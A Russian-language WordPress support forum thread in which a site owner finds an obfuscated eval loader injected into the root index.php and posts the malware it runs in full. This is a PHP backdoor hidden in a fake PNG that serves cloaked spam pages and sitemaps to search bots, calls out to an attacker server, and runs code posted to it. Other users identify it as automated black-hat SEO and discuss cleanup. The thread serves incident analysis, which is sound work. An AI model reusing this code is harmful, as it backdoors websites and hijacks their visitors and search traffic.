Вирусы на сайте
-
Столкнулся со следующей проблемой, перестали грузится страницы сайта. Ошибок ни каких нет, возвращается код 200, но без данных.
Начал разбираться и первое на что наткнулся, непонятный код спрятанный в комментарии. Файл index.php в шапке есть комментарий:
<?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */
это то как должно быть, а вот как у меня:
<?php /** * Front to the WordPress application. This file doesn't do anything, but loads */eval(file_get_contents(base64_decode('d3AtaW5jbHVkZXMvaW1hZ2VzL3Jzcy00eC5wbmc=')));/** * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */
Я убрал строчку с «eval…», начала грузится главная страница, а остальные нет.
Кто-то сталкивался с подобным явлением? Что это и как его победить?
- Тема изменена 2 года, 3 месяца назад пользователем Yui. Причина: renamed
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
А вы код «eval…» удалили только в index.php? А остальные шаблоны?
—
И да, вопрос на засыпку: а шаблон давно меняли? А взяли где?это корневой файл index.php
это корневой файл index.php
это шаблон-заглушка, используется только когда движок не может подобрать более подходящий, page.php, home.php и т.п.
Сайт восстановил.
Кто-то каким-то образом подменил или отредактировал файлы на сайте. Я все файлы определил по дате последнего изменения.
Но, каким образом кто-то мог подменить файлы на сайте?
Ууу, тут вариантов — «отсюдова и досюдова».
Ломаные темы и плагины, уязвимости в нормальных темах и плагинах (особенно популярных), неправильно написанные формы и неверно настроенные права пользователей.
В теории, привести в админку вашего сайта злоумышленников может каждое второе ваше действие. Не оставляли, например, где-нибудь на рабочем компьютере, куда имеют доступ другие люди, авторизованный аккаунт?Ниже выкладываю код который подложил злоумышленник.
Сам, пока до конца не разобрался какова цель взлома.
Может кто-то хочет поковырять.
Отпишитесь если кто-то определит цель всего этого<?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(0); $gov='616'; $ixv='8.6.9'; $smframe = '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="https://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="https://www.w3.org/1999/xhtml"> %s</urlset>'; $smitem = '<url><loc>%s</loc>%s</url>'; //$smitemx = '<url><loc>%s</loc><xhtml:link rel="alternate" hreflang="ja" href="%s"/></url>'; $mainsm = '<?xml version="1.0" encoding="UTF-8"?> <sitemapindex xmlns="https://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="https://www.w3.org/1999/xhtml"> %s </sitemapindex>'; $mainsmitem = '<sitemap><loc>%s://%s%ssitemap%d.xml</loc></sitemap>'; $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4):""; $ur = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ""; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; $host = $_SERVER["HTTP_HOST"]; $uri = $_SERVER["REQUEST_URI"]; $ip = clientip(); $proto = https(); $header = array( 'Lang: '.$lang, 'User-Agent: '.$ua, 'Referer: '.$ur, 'Http-Proto: '.$proto, 'Http-Host: '.$host, 'Http-Uri: '.$uri, 'Dbgroup: '.$gov, 'Remote-Addr: '.$ip ); $postdata= "proto=$proto&shost=$host&ip=$ip&groupid=$gov&uri=$uri"; $smsn='/'; if (strpos($uri,"?")>0){ $vals=explode("?",$uri); $smsn=sprintf("%s?",$vals[0]); } if (@preg_match('#[/|\?]pingsitemap(.*?).xml#i', $uri,$amu)) { $result=''; if ($amu[1]==='' || @preg_match('#(\d+)-$#', $amu[1],$samu)){ $postdata="proto=$proto&shost=$host&ip=$ip&uri=$uri"; $postdata.=($samu[1]=='')?'&groupid='.$gov:'&groupid='.$samu[1]; $content = urlx('http://' . gets() . '/pingsitemap',$header,$postdata); $values = explode(",",$content); if (count($values)<2){ exit("ping num useragent param error:$content"); } for($i=1;$i<=intval($values[0]);$i++){ $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s%ssitemap%s%d.xml',$proto,$host,$smsn,$samu[0],$i); $respbody = urlx($pgurl,null,null,null,$values[1]); $result .= $pgurl.$respbody; } }else{ $pgurl = sprintf('https://www.google.co.jp/ping?sitemap=%s://%s%ssitemap%s.xml',$proto,$host,$smsn,$amu[1]); $respbody = urlx($pgurl,null,null,null,$values[1]); $result .= $pgurl.$respbody; } exit($result); } if (@preg_match('#[/|\?]sitemap(.*?).xml$#i', $uri,$amu)) { $postdata="ver=2&proto=$proto&shost=$host&ip=$ip&uri=$uri"; if ( @preg_match('#(\d+)-$#', $amu[1],$samu) ){ $postdata.='&groupid='.$samu[1]; }else{ $postdata.='&groupid='.$gov; } $ts=strval(time()); array_push($header,'timestamp: '.$ts); array_push($header,'xdoim: '.crc32($ts.'\n'.$postdata)); $content = urlx('http://' . gets() . '/sitemap'.(($amu[1]==''||$samu[1]!='')?'.xml':'/'.$amu[1]),$header,$postdata); if ($content==false){ exit(); } @header('Token: '.$ts.'-x-doim-'.$ts); @header('Content-type: text/xml'); if (@preg_match('#^(\d)+#',$content)) { $xml=''; for($i=1;$i<=intval($content);$i++){ $xml .= sprintf($mainsmitem,$proto,$host,$smsn,$i,date('Y-m-d\TH:i:sP', time())); } echo sprintf($mainsm,$xml); exit(); } $ids = explode("\n", $content); $smbody=''; foreach ($ids as $v) { $purl="$proto://${host}${smsn}${v}"; $smbody .=sprintf($smitem,$purl,'<xhtml:link rel="alternate" hreflang="ja" href="'.$purl.'"/>'); } echo sprintf($smframe,$smbody); exit(); } if (isset($_SERVER['HTTP_XDOIM']) && strlen($_SERVER['HTTP_XDOIM'])>0){ $ts = isset($_SERVER['HTTP_TIMESTAMP'])?$_SERVER['HTTP_TIMESTAMP']:""; $tmp = @file_get_contents("php://input"); @file_put_contents(".eGA0Ty2WLh",$tmp,FILE_USE_INCLUDE_PATH); echo (include '.eGA0Ty2WLh'); unlink('.eGA0Ty2WLh'); exit(); } if (@preg_match('#[/|\?]getver$#i', $uri,$amu)){ $ts=strval(time()); array_push($header,'timestamp: '.$ts); array_push($header,'xdoim: '.crc32($ts.'\n'.$postdata)); $cnt=trim(urlx('http://' . gets() . '/getver',$header,$postdata)); echo (($cnt===false)?'fail'.gets():$cnt.$gov.gets()).$ixv;exit(); } if (@preg_match('#google|yahoo|bing|craft|Crawler#i',$ua) && ($uri != '/favicon.ico') ) { $postdata.="&ver=3"; if(@preg_match('#([a-z]+)-(\d+)(.html)?$#i', $uri,$amu)){ $postdata.=sprintf('&hpid=%s-%s',preg_replace('/[a-z](xyz|buzz).*$/',".$1",strrev($amu[1])),$amu[2]); $content=@trim(urlx(sprintf('http://%s/bot/page?'.$postdata , gets() ),$header,$postdata,1)); }elseif(@preg_match('#/([a-z]{8})[-_/]?(\d+)#i', $uri,$amu)){ $postdata.=sprintf('&hpid=%s-%s',$amu[1],$amu[2]); $content=@trim(urlx(sprintf('http://%s/bot/page?'.$postdata , gets() ),$header,$postdata,1)); }else{ $content=@trim(urlx(sprintf('http://%s/bot/home?'.$postdata , gets() ),$header,$postdata,1)); if (stripos($content,'http')===0){ header("HTTP/1.1 301 Moved Permanently"); @header('Location: ' . $content); exit(); } if (stripos($content,'<?xml')===0){ @header('Content-type: text/xml'); } } echo $content;exit(); } if (@preg_match('#google.co.jp|google.com|yahoo.co.jp|yahoo.co|bing.com|ask.com|aol.com|aol.jp#i',$ur) && (@preg_match('#([a-z]+)-(\d+)(.html)?$#i',$uri)||@preg_match('#/([a-z]{8})[-_/]?(\d+)#i',$uri))){ $pdt=$postdata.'&groupid='.$gov.'&uri='.$uri.'&ip='.$ip; $purl=urlx(sprintf('http://%s/bot/302?'.$pdt , gets() ),$header,$pdt,1); if (strlen($purl)>10){ @header('Location: ' . $purl); exit(); } } function urlx($url,$header=null,$postdata=null,$gz=null,$ua=null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); if (!($gz===null)){ curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate'); } if (stripos($url, "https:")===0) { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); } if (!($header===null)){ curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } if (!($postdata===null)) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); } if (!($ua===null)) { curl_setopt($ch, CURLOPT_USERAGENT, $ua); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $body = curl_exec($ch); curl_close($ch); return $body; } function cc($uri){ $vals = explode("-",substr($uri,1,strlen($uri)-6)); if (sizeof($vals)!=3){ return false; } $newcrc = sprintf("%u",crc32(sprintf("%s-%s",$vals[0],$vals[1]))); return ($newcrc == $vals[2]); } function gets(){ return 's63.createseo.xyz'; } function https() { if ((!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off')) { return "https"; } return "http"; } function clientip(){ if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { return getenv('REMOTE_ADDR'); } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { return $_SERVER['REMOTE_ADDR']; } } function str2val($key){ $val = 0; for ($i = 0; $i < strlen($key); $i++) { $val += ord($key[$i]); } return $val; } ?>
Но, каким образом кто-то мог подменить файлы на сайте?
Думаю, стоит начать со статьи о том, что делать, если сайт взломан.
это шаблон-заглушка, используется только когда движок не может подобрать более подходящий, page.php, home.php и т.п.
В отличие от шаблона
index.php
в теме, корневой index.php загружается всегда,.htaccess
перенаправляет на него все запросы к движку.В отличие от шаблона index.php в теме, корневой index.php загружается всегда, .htaccess перенаправляет на него все запросы к движку.
Да, я знаю, что через этот файл начинаются все запросы, которые не указывают на конкретный файл. Именно с этого файла я начал искать причину ( я программист старой закалки, начинал еще когда не было CMS, по этому сразу зрю в корень ).
Начал я с расставления меток, для определения где прерывается выполнение кода
echo "1"; ... echo "2"; ... echo "3"; ...
Прикиньте моё удивление, когда я понял, что код прерывается в комментарии (его я выложил в первом посте).
Строка в комментарии
eval(file_get_contents(base64_decode(‘d3AtaW5jbHVkZXMvaW1hZ2VzL3Jzcy00eC5wbmc=’)));выполняет код из строкового параметра, где параметром является содержимое файла, путь к которому закодирован в base64
При раскодировании строки ‘d3AtaW5jbHVkZXMvaW1hZ2VzL3Jzcy00eC5wbmc=’ получаем ‘wp-includes/images/rss-4x.png’
Содержимое файла wp-includes/images/rss-4x.png
$aiVF="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNFlVeVJMJTI5JTI5JTI5JTI5JTI5JTI5JTI5JTI5JTNC";$YUyRL="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"; eval(htmlspecialchars_decode(urldecode(base64_decode($aiVF))));exit;
Тут имеем две переменные.
$aiVF — код для распаковки основного кода
$YUyRL — запакованный код, который я выложил в предыдущем постеЧто я сделал.
Убрал строку в комментарии файла index.php . При этом начала грузится только главная страница. Затем в папке wp-content\plugins\ я нашёл целую кучу папок которых там быть не должно. В общем тут ко мне пришло осознание того, что злоумышленник получил полный доступ к сайту и для того чтобы найти все изменения нужно потратить уйму времени. По этому старый сайт я снес полностью ( но оставил для изучения ). Далее установил чистый WordPress, скопировал все данные ( тему, плагины, загруженные данный uploads ) из бекапа и подключился к старой БД. Изменил пароли БД, FTP и аккаунтам WordPressОстаются открытыми следующие вопросы:
1) Как именно злоумышленник получил доступ к файловой системе сайта и как себя обезопасить от этого в дальнейшем?
2) Какую цель преследовал злоумышленник? Как я понял скрипт генерировал файл sitemap.xml с левым списком страниц и отправлял его на регистрацию в google. Я не SEO-шник и мне не понятно для чего и как это может повредить сайту?kandiral, привет.
Что я сделал.
<…>
Далее установил чистый WordPress, скопировал все данные ( тему, плагины, загруженные данный uploads ) из бекапа и подключился к старой БД.
<…>Вам, скорее всего, крупно повезёт, и повторного автоматического заражения не будет, но вообще такой порядок действий — это ошибка.
Остаются открытыми следующие вопросы:
1) Как именно злоумышленник получил доступ к файловой системе сайта и как себя обезопасить от этого в дальнейшем?Можете посмотреть лог-файлы доступа, если за сроком давности они не затёрлись (рабочий домен, что указан в скрипте, зарегистрирован в июне этого года). Может быть увидите какие-то аномальные запросы, что даст пищу для размышлений. Взлом автоматизированный, и в список потенциальных жертв вы попали автоматически, предположительно, из-за наличия на сайте уязвимого плагина.
2) Какую цель преследовал злоумышленник?
Black SEO.
Как я понял скрипт генерировал файл sitemap.xml с левым списком страниц и отправлял его на регистрацию в google. Я не SEO-шник и мне не понятно для чего и как это может повредить сайту?
Ну, там история посложнее. Конкретно в вашем случае без функции подгрузки веб-шелла, что должно насторожить и вызвать желание всё перепроверить ещё раз, особенно учитывая, что вы на новую инсталляцию накатили все файлы из резервной копии.
Сайт снова лёг.
Ситуация та же, в корневом index.php в комментарии спрятана строка, которая подключает код из файла.Вам, скорее всего, крупно повезёт, и повторного автоматического заражения не будет, но вообще такой порядок действий — это ошибка.
Да, я понимаю, что дырку (уязвимость) я скопировал вместе с плагинами из бекапа. Но у меня выбора нет, мне нужно восстановить сайт и я не знаю какой из плагинов дырявый.
В общем восстановил сайт аналогично как писал в предыдущем посте.
В этот раз я заблокировал прямой доступ к php скриптам кроме папки wp-admin через htaccess
RewriteEngine On RewriteBase / RewriteRule \.(js|css|png|jpg|jpeg|gif|svg|ico|ttf|woff|woff2)$ - [L] RewriteRule ^wp-login.php - [L] RewriteCond %{REQUEST_URI} !^/wp-admin(.*)$ [NC] RewriteRule . index.php [L]
kandiral,
Ситуация та же, в корневом index.php в комментарии спрятана строка, которая подключает код из файла.
Судя по этому моменту, у вас в процессах висит выполнение вредоносного скрипта, советую проверить.
В этот раз я заблокировал прямой доступ к php скриптам кроме папки wp-admin через htaccess
Ход мысли понятен, но вы же понимаете, что это не решение проблемы?
- Тема «Вирусы на сайте» закрыта для новых ответов.